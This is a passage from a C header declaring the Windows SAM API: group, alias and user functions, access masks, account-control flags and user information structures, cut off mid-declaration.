Functions\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamEnumerateGroupsInDomain(\n _In_ SAM_HANDLE DomainHandle,\n _Inout_ PSAM_ENUMERATE_HANDLE EnumerationContext,\n _Outptr_ PVOID *Buffer, // PSAM_RID_ENUMERATION *\n _In_ ULONG PreferedMaximumLength,\n _Out_ PULONG CountReturned\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamCreateGroupInDomain(\n _In_ SAM_HANDLE DomainHandle,\n _In_ PUNICODE_STRING AccountName,\n _In_ ACCESS_MASK DesiredAccess,\n _Out_ PSAM_HANDLE GroupHandle,\n _Out_ PULONG RelativeId\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamOpenGroup(\n _In_ SAM_HANDLE DomainHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG GroupId,\n _Out_ PSAM_HANDLE GroupHandle\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamDeleteGroup(\n _In_ SAM_HANDLE GroupHandle\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamQueryInformationGroup(\n _In_ SAM_HANDLE GroupHandle,\n _In_ GROUP_INFORMATION_CLASS GroupInformationClass,\n _Outptr_ PVOID *Buffer\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamSetInformationGroup(\n _In_ SAM_HANDLE GroupHandle,\n _In_ GROUP_INFORMATION_CLASS GroupInformationClass,\n _In_ PVOID Buffer\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamAddMemberToGroup(\n _In_ SAM_HANDLE GroupHandle,\n _In_ ULONG MemberId,\n _In_ ULONG Attributes\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamRemoveMemberFromGroup(\n _In_ SAM_HANDLE GroupHandle,\n _In_ ULONG MemberId\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamGetMembersInGroup(\n _In_ SAM_HANDLE GroupHandle,\n _Out_ _Deref_post_count_(*MemberCount) PULONG *MemberIds,\n _Out_ _Deref_post_count_(*MemberCount) PULONG *Attributes,\n _Out_ PULONG MemberCount\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamSetMemberAttributesOfGroup(\n _In_ SAM_HANDLE GroupHandle,\n _In_ ULONG MemberId,\n _In_ ULONG Attributes\n );\n\n// Alias\n\n#define ALIAS_ADD_MEMBER 0x0001\n#define ALIAS_REMOVE_MEMBER 0x0002\n#define ALIAS_LIST_MEMBERS 0x0004\n#define ALIAS_READ_INFORMATION 0x0008\n#define ALIAS_WRITE_ACCOUNT 0x0010\n\n#define ALIAS_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \\\n ALIAS_READ_INFORMATION | \\\n ALIAS_WRITE_ACCOUNT | \\\n ALIAS_LIST_MEMBERS | \\\n ALIAS_ADD_MEMBER | \\\n ALIAS_REMOVE_MEMBER)\n\n#define ALIAS_READ (STANDARD_RIGHTS_READ | \\\n ALIAS_LIST_MEMBERS)\n\n#define ALIAS_WRITE (STANDARD_RIGHTS_WRITE | \\\n ALIAS_WRITE_ACCOUNT | \\\n ALIAS_ADD_MEMBER | \\\n ALIAS_REMOVE_MEMBER)\n\n#define ALIAS_EXECUTE (STANDARD_RIGHTS_EXECUTE | \\\n ALIAS_READ_INFORMATION)\n\n// SamQueryInformationAlias/SamSetInformationAlias types\n\ntypedef enum _ALIAS_INFORMATION_CLASS\n{\n AliasGeneralInformation = 1,\n AliasNameInformation,\n AliasAdminCommentInformation,\n AliasReplicationInformation,\n AliasExtendedInformation,\n} ALIAS_INFORMATION_CLASS;\n\ntypedef struct _ALIAS_GENERAL_INFORMATION\n{\n UNICODE_STRING Name;\n ULONG MemberCount;\n UNICODE_STRING AdminComment;\n} ALIAS_GENERAL_INFORMATION, *PALIAS_GENERAL_INFORMATION;\n\ntypedef struct _ALIAS_NAME_INFORMATION\n{\n UNICODE_STRING Name;\n} ALIAS_NAME_INFORMATION, *PALIAS_NAME_INFORMATION;\n\ntypedef struct _ALIAS_ADM_COMMENT_INFORMATION\n{\n UNICODE_STRING AdminComment;\n} ALIAS_ADM_COMMENT_INFORMATION, *PALIAS_ADM_COMMENT_INFORMATION;\n\n#define ALIAS_ALL_NAME (0x00000001L)\n#define ALIAS_ALL_MEMBER_COUNT (0x00000002L)\n#define ALIAS_ALL_ADMIN_COMMENT (0x00000004L)\n#define ALIAS_ALL_SHELL_ADMIN_OBJECT_PROPERTIES (0x00000008L)\n\ntypedef struct _ALIAS_EXTENDED_INFORMATION\n{\n ULONG WhichFields;\n SAM_SHELL_OBJECT_PROPERTIES ShellAdminObjectProperties;\n} ALIAS_EXTENDED_INFORMATION, *PALIAS_EXTENDED_INFORMATION;\n\n// Functions\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamEnumerateAliasesInDomain(\n _In_ SAM_HANDLE DomainHandle,\n _Inout_ PSAM_ENUMERATE_HANDLE EnumerationContext,\n _Outptr_ PVOID *Buffer, // PSAM_RID_ENUMERATION *Buffer\n _In_ ULONG PreferedMaximumLength,\n _Out_ PULONG CountReturned\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamCreateAliasInDomain(\n _In_ SAM_HANDLE DomainHandle,\n _In_ PUNICODE_STRING AccountName,\n _In_ ACCESS_MASK DesiredAccess,\n _Out_ PSAM_HANDLE AliasHandle,\n _Out_ PULONG RelativeId\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamOpenAlias(\n _In_ SAM_HANDLE DomainHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG AliasId,\n _Out_ PSAM_HANDLE AliasHandle\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamDeleteAlias(\n _In_ SAM_HANDLE AliasHandle\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamQueryInformationAlias(\n _In_ SAM_HANDLE AliasHandle,\n _In_ ALIAS_INFORMATION_CLASS AliasInformationClass,\n _Outptr_ PVOID *Buffer\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamSetInformationAlias(\n _In_ SAM_HANDLE AliasHandle,\n _In_ ALIAS_INFORMATION_CLASS AliasInformationClass,\n _In_ PVOID Buffer\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamAddMemberToAlias(\n _In_ SAM_HANDLE AliasHandle,\n _In_ PSID MemberId\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamAddMultipleMembersToAlias(\n _In_ SAM_HANDLE AliasHandle,\n _In_reads_(MemberCount) PSID *MemberIds,\n _In_ ULONG MemberCount\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamRemoveMemberFromAlias(\n _In_ SAM_HANDLE AliasHandle,\n _In_ PSID MemberId\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamRemoveMultipleMembersFromAlias(\n _In_ SAM_HANDLE AliasHandle,\n _In_reads_(MemberCount) PSID *MemberIds,\n _In_ ULONG MemberCount\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamGetMembersInAlias(\n _In_ SAM_HANDLE AliasHandle,\n _Out_ _Deref_post_count_(*MemberCount) PSID **MemberIds,\n _Out_ PULONG MemberCount\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamGetAliasMembership(\n _In_ SAM_HANDLE DomainHandle,\n _In_ ULONG PassedCount,\n _In_reads_(PassedCount) PSID *Sids,\n _Out_ PULONG MembershipCount,\n _Out_ _Deref_post_count_(*MembershipCount) PULONG *Aliases\n );\n\n// Group types\n\n#define GROUP_TYPE_BUILTIN_LOCAL_GROUP 0x00000001\n#define GROUP_TYPE_ACCOUNT_GROUP 0x00000002\n#define GROUP_TYPE_RESOURCE_GROUP 0x00000004\n#define GROUP_TYPE_UNIVERSAL_GROUP 0x00000008\n#define GROUP_TYPE_APP_BASIC_GROUP 0x00000010\n#define GROUP_TYPE_APP_QUERY_GROUP 0x00000020\n#define GROUP_TYPE_SECURITY_ENABLED 0x80000000\n\n#define GROUP_TYPE_RESOURCE_BEHAVOIR (GROUP_TYPE_RESOURCE_GROUP | \\\n GROUP_TYPE_APP_BASIC_GROUP | \\\n GROUP_TYPE_APP_QUERY_GROUP)\n\n// User\n\n#define USER_READ_GENERAL 0x0001\n#define USER_READ_PREFERENCES 0x0002\n#define USER_WRITE_PREFERENCES 0x0004\n#define USER_READ_LOGON 0x0008\n#define USER_READ_ACCOUNT 0x0010\n#define USER_WRITE_ACCOUNT 0x0020\n#define USER_CHANGE_PASSWORD 0x0040\n#define USER_FORCE_PASSWORD_CHANGE 0x0080\n#define USER_LIST_GROUPS 0x0100\n#define USER_READ_GROUP_INFORMATION 0x0200\n#define USER_WRITE_GROUP_INFORMATION 0x0400\n\n#define USER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \\\n USER_READ_PREFERENCES | \\\n USER_READ_LOGON | \\\n USER_LIST_GROUPS | \\\n USER_READ_GROUP_INFORMATION | \\\n USER_WRITE_PREFERENCES | \\\n USER_CHANGE_PASSWORD | \\\n USER_FORCE_PASSWORD_CHANGE | \\\n USER_READ_GENERAL | \\\n USER_READ_ACCOUNT | \\\n USER_WRITE_ACCOUNT | \\\n USER_WRITE_GROUP_INFORMATION)\n\n#define USER_READ (STANDARD_RIGHTS_READ | \\\n USER_READ_PREFERENCES | \\\n USER_READ_LOGON | \\\n USER_READ_ACCOUNT | \\\n USER_LIST_GROUPS | \\\n USER_READ_GROUP_INFORMATION)\n\n#define USER_WRITE (STANDARD_RIGHTS_WRITE | \\\n USER_WRITE_PREFERENCES | \\\n USER_CHANGE_PASSWORD)\n\n#define USER_EXECUTE (STANDARD_RIGHTS_EXECUTE | \\\n USER_READ_GENERAL | \\\n USER_CHANGE_PASSWORD)\n\n// User account control flags\n\n#define USER_ACCOUNT_DISABLED (0x00000001)\n#define USER_HOME_DIRECTORY_REQUIRED (0x00000002)\n#define USER_PASSWORD_NOT_REQUIRED (0x00000004)\n#define USER_TEMP_DUPLICATE_ACCOUNT (0x00000008)\n#define USER_NORMAL_ACCOUNT (0x00000010)\n#define USER_MNS_LOGON_ACCOUNT (0x00000020)\n#define USER_INTERDOMAIN_TRUST_ACCOUNT (0x00000040)\n#define USER_WORKSTATION_TRUST_ACCOUNT (0x00000080)\n#define USER_SERVER_TRUST_ACCOUNT (0x00000100)\n#define USER_DONT_EXPIRE_PASSWORD (0x00000200)\n#define USER_ACCOUNT_AUTO_LOCKED (0x00000400)\n#define USER_ENCRYPTED_TEXT_PASSWORD_ALLOWED (0x00000800)\n#define USER_SMARTCARD_REQUIRED (0x00001000)\n#define USER_TRUSTED_FOR_DELEGATION (0x00002000)\n#define USER_NOT_DELEGATED (0x00004000)\n#define USER_USE_DES_KEY_ONLY (0x00008000)\n#define USER_DONT_REQUIRE_PREAUTH (0x00010000)\n#define USER_PASSWORD_EXPIRED (0x00020000)\n#define USER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (0x00040000)\n#define USER_NO_AUTH_DATA_REQUIRED (0x00080000)\n#define USER_PARTIAL_SECRETS_ACCOUNT (0x00100000)\n#define USER_USE_AES_KEYS (0x00200000) // not used\n\n#define NEXT_FREE_ACCOUNT_CONTROL_BIT (USER_USE_AES_KEYS << 1)\n\n#define USER_MACHINE_ACCOUNT_MASK ( \\\n USER_INTERDOMAIN_TRUST_ACCOUNT | \\\n USER_WORKSTATION_TRUST_ACCOUNT | \\\n USER_SERVER_TRUST_ACCOUNT \\\n )\n\n#define USER_ACCOUNT_TYPE_MASK ( \\\n USER_TEMP_DUPLICATE_ACCOUNT | \\\n USER_NORMAL_ACCOUNT | \\\n USER_MACHINE_ACCOUNT_MASK \\\n )\n\n#define USER_COMPUTED_ACCOUNT_CONTROL_BITS ( \\\n USER_ACCOUNT_AUTO_LOCKED | \\\n USER_PASSWORD_EXPIRED \\\n )\n\n// Logon times may be expressed in day, hour, or minute granularity.\n\n#define SAM_DAYS_PER_WEEK (7)\n#define SAM_HOURS_PER_WEEK (24 * SAM_DAYS_PER_WEEK)\n#define SAM_MINUTES_PER_WEEK (60 * SAM_HOURS_PER_WEEK)\n\ntypedef struct _LOGON_HOURS\n{\n USHORT UnitsPerWeek;\n\n // UnitsPerWeek is the number of equal length time units the week is\n // divided into. This value is used to compute the length of the bit\n // string in logon_hours. Must be less than or equal to\n // SAM_UNITS_PER_WEEK (10080) for this release.\n //\n // LogonHours is a bit map of valid logon times. Each bit represents\n // a unique division in a week. The largest bit map supported is 1260\n // bytes (10080 bits), which represents minutes per week. In this case\n // the first bit (bit 0, byte 0) is Sunday, 00:00:00 - 00-00:59; bit 1,\n // byte 0 is Sunday, 00:01:00 - 00:01:59, etc. A NULL pointer means\n // DONT_CHANGE for SamSetInformationUser() calls.\n\n PUCHAR LogonHours;\n} LOGON_HOURS, *PLOGON_HOURS;\n\ntypedef struct _SR_SECURITY_DESCRIPTOR\n{\n ULONG Length;\n PUCHAR SecurityDescriptor;\n} SR_SECURITY_DESCRIPTOR, *PSR_SECURITY_DESCRIPTOR;\n\n// SamQueryInformationUser/SamSetInformationUser types\n\ntypedef enum _USER_INFORMATION_CLASS\n{\n UserGeneralInformation = 1, // USER_GENERAL_INFORMATION\n UserPreferencesInformation, // USER_PREFERENCES_INFORMATION\n UserLogonInformation, // USER_LOGON_INFORMATION\n UserLogonHoursInformation, // USER_LOGON_HOURS_INFORMATION\n UserAccountInformation, // USER_ACCOUNT_INFORMATION\n UserNameInformation, // USER_NAME_INFORMATION\n UserAccountNameInformation, // USER_ACCOUNT_NAME_INFORMATION\n UserFullNameInformation, // USER_FULL_NAME_INFORMATION\n UserPrimaryGroupInformation, // USER_PRIMARY_GROUP_INFORMATION\n UserHomeInformation, // USER_HOME_INFORMATION\n UserScriptInformation, // USER_SCRIPT_INFORMATION\n UserProfileInformation, // USER_PROFILE_INFORMATION\n UserAdminCommentInformation, // USER_ADMIN_COMMENT_INFORMATION\n UserWorkStationsInformation, // USER_WORKSTATIONS_INFORMATION\n UserSetPasswordInformation, // USER_SET_PASSWORD_INFORMATION\n UserControlInformation, // USER_CONTROL_INFORMATION\n UserExpiresInformation, // USER_EXPIRES_INFORMATION\n UserInternal1Information,\n UserInternal2Information,\n UserParametersInformation, // USER_PARAMETERS_INFORMATION\n UserAllInformation, // USER_ALL_INFORMATION\n UserInternal3Information,\n UserInternal4Information,\n UserInternal5Information,\n UserInternal4InformationNew,\n UserInternal5InformationNew,\n UserInternal6Information,\n UserExtendedInformation, // USER_EXTENDED_INFORMATION\n UserLogonUIInformation // USER_LOGON_UI_INFORMATION\n} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS;\n\ntypedef struct _USER_GENERAL_INFORMATION\n{\n UNICODE_STRING UserName;\n UNICODE_STRING FullName;\n ULONG PrimaryGroupId;\n UNICODE_STRING AdminComment;\n UNICODE_STRING UserComment;\n} USER_GENERAL_INFORMATION, *PUSER_GENERAL_INFORMATION;\n\ntypedef struct _USER_PREFERENCES_INFORMATION\n{\n UNICODE_STRING UserComment;\n UNICODE_STRING Reserved1;\n USHORT CountryCode;\n USHORT CodePage;\n} USER_PREFERENCES_INFORMATION, *PUSER_PREFERENCES_INFORMATION;\n\n#include \ntypedef struct _USER_LOGON_INFORMATION\n{\n UNICODE_STRING UserName;\n UNICODE_STRING FullName;\n ULONG UserId;\n ULONG PrimaryGroupId;\n UNICODE_STRING HomeDirectory;\n UNICODE_STRING HomeDirectoryDrive;\n UNICODE_STRING ScriptPath;\n UNICODE_STRING ProfilePath;\n UNICODE_STRING WorkStations;\n LARGE_INTEGER LastLogon;\n LARGE_INTEGER LastLogoff;\n LARGE_INTEGER PasswordLastSet;\n LARGE_INTEGER PasswordCanChange;\n LARGE_INTEGER PasswordMustChange;\n LOGON_HOURS LogonHours;\n USHORT BadPasswordCount;\n USHORT LogonCount;\n ULONG UserAccountControl;\n} USER_LOGON_INFORMATION, * PUSER_LOGON_INFORMATION;\n#include \n\ntypedef struct _USER_LOGON_HOURS_INFORMATION\n{\n LOGON_HOURS LogonHours;\n} USER_LOGON_HOURS_INFORMATION, * PUSER_LOGON_HOURS_INFORMATION;\n\n#include \ntypedef struct _USER_ACCOUNT_INFORMATION\n{\n UNICODE_STRING UserName;\n UNICODE_STRING FullName;\n ULONG UserId;\n ULONG PrimaryGroupId;\n UNICODE_STRING HomeDirectory;\n UNICODE_STRING HomeDirectoryDrive;\n UNICODE_STRING ScriptPath;\n UNICODE_STRING ProfilePath;\n UNICODE_STRING AdminComment;\n UNICODE_STRING WorkStations;\n LARGE_INTEGER LastLogon;\n LARGE_INTEGER LastLogoff;\n LOGON_HOURS LogonHours;\n USHORT BadPasswordCount;\n USHORT LogonCount;\n LARGE_INTEGER PasswordLastSet;\n LARGE_INTEGER AccountExpires;\n ULONG UserAccountControl;\n} USER_ACCOUNT_INFORMATION, * PUSER_ACCOUNT_INFORMATION;\n#include \n\ntypedef struct _USER_NAME_INFORMATION\n{\n UNICODE_STRING UserName;\n UNICODE_STRING FullName;\n} USER_NAME_INFORMATION, *PUSER_NAME_INFORMATION;\n\ntypedef struct _USER_ACCOUNT_NAME_INFORMATION\n{\n UNICODE_STRING UserName;\n} USER_ACCOUNT_NAME_INFORMATION, *PUSER_ACCOUNT_NAME_INFORMATION;\n\ntypedef struct _USER_FULL_NAME_INFORMATION\n{\n UNICODE_STRING FullName;\n} USER_FULL_NAME_INFORMATION, *PUSER_FULL_NAME_INFORMATION;\n\ntypedef struct _USER_PRIMARY_GROUP_INFORMATION\n{\n ULONG PrimaryGroupId;\n} USER_PRIMARY_GROUP_INFORMATION, *PUSER_PRIMARY_GROUP_INFORMATION;\n\ntypedef struct _USER_HOME_INFORMATION\n{\n UNICODE_STRING HomeDirectory;\n UNICODE_STRING HomeDirectoryDrive;\n} USER_HOME_INFORMATION, *PUSER_HOME_INFORMATION;\n\ntypedef struct _USER_SCRIPT_INFORMATION\n{\n UNICODE_STRING ScriptPath;\n} USER_SCRIPT_INFORMATION, *PUSER_SCRIPT_INFORMATION;\n\ntypedef struct _USER_PROFILE_INFORMATION\n{\n UNICODE_STRING ProfilePath;\n} USER_PROFILE_INFORMATION, *PUSER_PROFILE_INFORMATION;\n\ntypedef struct _USER_ADMIN_COMMENT_INFORMATION\n{\n UNICODE_STRING AdminComment;\n} USER_ADMIN_COMMENT_INFORMATION, *PUSER_ADMIN_COMMENT_INFORMATION;\n\ntypedef struct _USER_WORKSTATIONS_INFORMATION\n{\n UNICODE_STRING WorkStations;\n} USER_WORKSTATIONS_INFORMATION, *PUSER_WORKSTATIONS_INFORMATION;\n\ntypedef struct _USER_SET_PASSWORD_INFORMATION\n{\n UNICODE_STRING Password;\n BOOLEAN PasswordExpired;\n} USER_SET_PASSWORD_INFORMATION, *PUSER_SET_PASSWORD_INFORMATION;\n\ntypedef struct _USER_CONTROL_INFORMATION\n{\n ULONG UserAccountControl;\n} USER_CONTROL_INFORMATION, *PUSER_CONTROL_INFORMATION;\n\ntypedef struct _USER_EXPIRES_INFORMATION\n{\n LARGE_INTEGER AccountExpires;\n} USER_EXPIRES_INFORMATION, *PUSER_EXPIRES_INFORMATION;\n\ntypedef struct _USER_PARAMETERS_INFORMATION\n{\n UNICODE_STRING Parameters;\n} USER_PARAMETERS_INFORMATION, *PUSER_PARAMETERS_INFORMATION;\n\n// Flags for WhichFields in USER_ALL_INFORMATION\n\n#define USER_ALL_USERNAME 0x00000001\n#define USER_ALL_FULLNAME 0x00000002\n#define USER_ALL_USERID 0x00000004\n#define USER_ALL_PRIMARYGROUPID 0x00000008\n#define USER_ALL_ADMINCOMMENT 0x00000010\n#define USER_ALL_USERCOMMENT 0x00000020\n#define USER_ALL_HOMEDIRECTORY 0x00000040\n#define USER_ALL_HOMEDIRECTORYDRIVE 0x00000080\n#define USER_ALL_SCRIPTPATH 0x00000100\n#define USER_ALL_PROFILEPATH 0x00000200\n#define USER_ALL_WORKSTATIONS 0x00000400\n#define USER_ALL_LASTLOGON 0x00000800\n#define USER_ALL_LASTLOGOFF 0x00001000\n#define USER_ALL_LOGONHOURS 0x00002000\n#define USER_ALL_BADPASSWORDCOUNT 0x00004000\n#define USER_ALL_LOGONCOUNT 0x00008000\n#define USER_ALL_PASSWORDCANCHANGE 0x00010000\n#define USER_ALL_PASSWORDMUSTCHANGE 0x00020000\n#define USER_ALL_PASSWORDLASTSET 0x00040000\n#define USER_ALL_ACCOUNTEXPIRES 0x00080000\n#define USER_ALL_USERACCOUNTCONTROL 0x00100000\n#define USER_ALL_PARAMETERS 0x00200000\n#define USER_ALL_COUNTRYCODE 0x00400000\n#define USER_ALL_CODEPAGE 0x00800000\n#define USER_ALL_NTPASSWORDPRESENT 0x01000000 // field AND boolean\n#define USER_ALL_LMPASSWORDPRESENT 0x02000000 // field AND boolean\n#define USER_ALL_PRIVATEDATA 0x04000000 // field AND boolean\n#define USER_ALL_PASSWORDEXPIRED 0x08000000\n#define USER_ALL_SECURITYDESCRIPTOR 0x10000000\n#define USER_ALL_OWFPASSWORD 0x20000000 // boolean\n\n#define USER_ALL_UNDEFINED_MASK 0xc0000000\n\n// Fields that require USER_READ_GENERAL access to read.\n\n#define USER_ALL_READ_GENERAL_MASK \\\n (USER_ALL_USERNAME | \\\n USER_ALL_FULLNAME | \\\n USER_ALL_USERID | \\\n USER_ALL_PRIMARYGROUPID | \\\n USER_ALL_ADMINCOMMENT | \\\n USER_ALL_USERCOMMENT)\n\n// Fields that require USER_READ_LOGON access to read.\n\n#define USER_ALL_READ_LOGON_MASK \\\n (USER_ALL_HOMEDIRECTORY | \\\n USER_ALL_HOMEDIRECTORYDRIVE | \\\n USER_ALL_SCRIPTPATH | \\\n USER_ALL_PROFILEPATH | \\\n USER_ALL_WORKSTATIONS | \\\n USER_ALL_LASTLOGON | \\\n USER_ALL_LASTLOGOFF | \\\n USER_ALL_LOGONHOURS | \\\n USER_ALL_BADPASSWORDCOUNT | \\\n USER_ALL_LOGONCOUNT | \\\n USER_ALL_PASSWORDCANCHANGE | \\\n USER_ALL_PASSWORDMUSTCHANGE)\n\n// Fields that require USER_READ_ACCOUNT access to read.\n\n#define USER_ALL_READ_ACCOUNT_MASK \\\n (USER_ALL_PASSWORDLASTSET | \\\n USER_ALL_ACCOUNTEXPIRES | \\\n USER_ALL_USERACCOUNTCONTROL | \\\n USER_ALL_PARAMETERS)\n\n// Fields that require USER_READ_PREFERENCES access to read.\n\n#define USER_ALL_READ_PREFERENCES_MASK \\\n (USER_ALL_COUNTRYCODE | USER_ALL_CODEPAGE)\n\n// Fields that can only be read by trusted clients.\n\n#define USER_ALL_READ_TRUSTED_MASK \\\n (USER_ALL_NTPASSWORDPRESENT | \\\n USER_ALL_LMPASSWORDPRESENT | \\\n USER_ALL_PASSWORDEXPIRED | \\\n USER_ALL_SECURITYDESCRIPTOR | \\\n USER_ALL_PRIVATEDATA)\n\n// Fields that can't be read.\n\n#define USER_ALL_READ_CANT_MASK USER_ALL_UNDEFINED_MASK\n\n// Fields that require USER_WRITE_ACCOUNT access to write.\n\n#define USER_ALL_WRITE_ACCOUNT_MASK \\\n (USER_ALL_USERNAME | \\\n USER_ALL_FULLNAME | \\\n USER_ALL_PRIMARYGROUPID | \\\n USER_ALL_HOMEDIRECTORY | \\\n USER_ALL_HOMEDIRECTORYDRIVE | \\\n USER_ALL_SCRIPTPATH | \\\n USER_ALL_PROFILEPATH | \\\n USER_ALL_ADMINCOMMENT | \\\n USER_ALL_WORKSTATIONS | \\\n USER_ALL_LOGONHOURS | \\\n USER_ALL_ACCOUNTEXPIRES | \\\n USER_ALL_USERACCOUNTCONTROL | \\\n USER_ALL_PARAMETERS)\n\n// Fields that require USER_WRITE_PREFERENCES access to write.\n\n#define USER_ALL_WRITE_PREFERENCES_MASK \\\n (USER_ALL_USERCOMMENT | USER_ALL_COUNTRYCODE | USER_ALL_CODEPAGE)\n\n// Fields that require USER_FORCE_PASSWORD_CHANGE access to write.\n//\n// Note that non-trusted clients only set the NT password as a\n// UNICODE string. The wrapper will convert it to an LM password,\n// OWF and encrypt both versions. Trusted clients can pass in OWF\n// versions of either or both.\n\n#define USER_ALL_WRITE_FORCE_PASSWORD_CHANGE_MASK \\\n (USER_ALL_NTPASSWORDPRESENT | \\\n USER_ALL_LMPASSWORDPRESENT | \\\n USER_ALL_PASSWORDEXPIRED)\n\n// Fields that can only be written by trusted clients.\n\n#define USER_ALL_WRITE_TRUSTED_MASK \\\n (USER_ALL_LASTLOGON | \\\n USER_ALL_LASTLOGOFF | \\\n USER_ALL_BADPASSWORDCOUNT | \\\n USER_ALL_LOGONCOUNT | \\\n USER_ALL_PASSWORDLASTSET | \\\n USER_ALL_SECURITYDESCRIPTOR | \\\n USER_ALL_PRIVATEDATA)\n\n// Fields that can't be written.\n\n#define USER_ALL_WRITE_CANT_MASK \\\n (USER_ALL_USERID | \\\n USER_ALL_PASSWORDCANCHANGE | \\\n USER_ALL_PASSWORDMUSTCHANGE | \\\n USER_ALL_UNDEFINED_MASK)\n\n#include \ntypedef struct _USER_ALL_INFORMATION\n{\n LARGE_INTEGER LastLogon;\n LARGE_INTEGER LastLogoff;\n LARGE_INTEGER PasswordLastSet;\n LARGE_INTEGER AccountExpires;\n LARGE_INTEGER PasswordCanChange;\n LARGE_INTEGER PasswordMustChange;\n UNICODE_STRING UserName;\n UNICODE_STRING FullName;\n UNICODE_STRING HomeDirectory;\n UNICODE_STRING HomeDirectoryDrive;\n UNICODE_STRING ScriptPath;\n UNICODE_STRING ProfilePath;\n UNICODE_STRING AdminComment;\n UNICODE_STRING WorkStations;\n UNICODE_STRING UserComment;\n UNICODE_STRING Parameters;\n UNICODE_STRING LmPassword;\n UNICODE_STRING NtPassword;\n UNICODE_STRING PrivateData;\n SR_SECURITY_DESCRIPTOR SecurityDescriptor;\n ULONG UserId;\n ULONG PrimaryGroupId;\n ULONG UserAccountControl;\n ULONG WhichFields;\n LOGON_HOURS LogonHours;\n USHORT BadPasswordCount;\n USHORT LogonCount;\n USHORT CountryCode;\n USHORT CodePage;\n BOOLEAN LmPasswordPresent;\n BOOLEAN NtPasswordPresent;\n BOOLEAN PasswordExpired;\n BOOLEAN PrivateDataSensitive;\n} USER_ALL_INFORMATION, *PUSER_ALL_INFORMATION;\n#include \n\ntypedef SAM_BYTE_ARRAY_32K SAM_USER_TILE, *PSAM_USER_TILE;\n\n// 0xff000fff is reserved for internal callers and implementation.\n\n#define USER_EXTENDED_FIELD_USER_TILE (0x00001000L)\n#define USER_EXTENDED_FIELD_PASSWORD_HINT (0x00002000L)\n#define USER_EXTENDED_FIELD_DONT_SHOW_IN_LOGON_UI (0x00004000L)\n#define USER_EXTENDED_FIELD_SHELL_ADMIN_OBJECT_PROPERTIES (0x00008000L)\n\ntypedef struct _USER_EXTENDED_INFORMATION\n{\n ULONG ExtendedWhichFields;\n SAM_USER_TILE UserTile;\n UNICODE_STRING PasswordHint;\n BOOLEAN DontShowInLogonUI;\n SAM_SHELL_OBJECT_PROPERTIES ShellAdminObjectProperties;\n} USER_EXTENDED_INFORMATION, *PUSER_EXTENDED_INFORMATION;\n\n// For local callers only.\ntypedef struct _USER_LOGON_UI_INFORMATION\n{\n BOOLEAN PasswordIsBlank;\n BOOLEAN AccountIsDisabled;\n} USER_LOGON_UI_INFORMATION, *PUSER_LOGON_UI_INFORMATION;\n\n// SamChangePasswordUser3 types\n\n// Error values:\n// * SAM_PWD_CHANGE_NO_ERROR\n// * SAM_PWD_CHANGE_PASSWORD_TOO_SHORT\n// * SAM_PWD_CHANGE_PWD_IN_HISTORY\n// * SAM_PWD_CHANGE_USERNAME_IN_PASSWORD\n// * SAM_PWD_CHANGE_FULLNAME_IN_PASSWORD\n// * SAM_PWD_CHANGE_MACHINE_PASSWORD_NOT_DEFAULT\n// * SAM_PWD_CHANGE_FAILED_BY_FILTER\n\ntypedef struct _USER_PWD_CHANGE_FAILURE_INFORMATION\n{\n ULONG ExtendedFailureReason;\n UNICODE_STRING FilterModuleName;\n} USER_PWD_CHANGE_FAILURE_INFORMATION,*PUSER_PWD_CHANGE_FAILURE_INFORMATION;\n\n// ExtendedFailureReason values\n\n#define SAM_PWD_CHANGE_NO_ERROR 0\n#define SAM_PWD_CHANGE_PASSWORD_TOO_SHORT 1\n#define SAM_PWD_CHANGE_PWD_IN_HISTORY 2\n#define SAM_PWD_CHANGE_USERNAME_IN_PASSWORD 3\n#define SAM_PWD_CHANGE_FULLNAME_IN_PASSWORD 4\n#define SAM_PWD_CHANGE_NOT_COMPLEX 5\n#define SAM_PWD_CHANGE_MACHINE_PASSWORD_NOT_DEFAULT 6\n#define SAM_PWD_CHANGE_FAILED_BY_FILTER 7\n#define SAM_PWD_CHANGE_PASSWORD_TOO_LONG 8\n#define SAM_PWD_CHANGE_FAILURE_REASON_MAX 8\n\n// Functions\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamEnumerateUsersInDomain(\n _In_ SAM_HANDLE DomainHandle,\n _Inout_ PSAM_ENUMERATE_HANDLE EnumerationContext,\n _In_ ULONG UserAccountControl,\n _Outptr_ PVOID *Buffer, // PSAM_RID_ENUMERATION *\n _In_ ULONG PreferedMaximumLength,\n _Out_ PULONG CountReturned\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamCreateUserInDomain(\n _In_ SAM_HANDLE DomainHandle,\n _In_ PUNICODE_STRING AccountName,\n _In_ ACCESS_MASK DesiredAccess,\n _Out_ PSAM_HANDLE UserHandle,\n _Out_ PULONG RelativeId\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamCreateUser2InDomain(\n _In_ SAM_HANDLE DomainHandle,\n _In_ PUNICODE_STRING AccountName,\n _In_ ULONG AccountType,\n _In_ ACCESS_MASK DesiredAccess,\n _Out_ 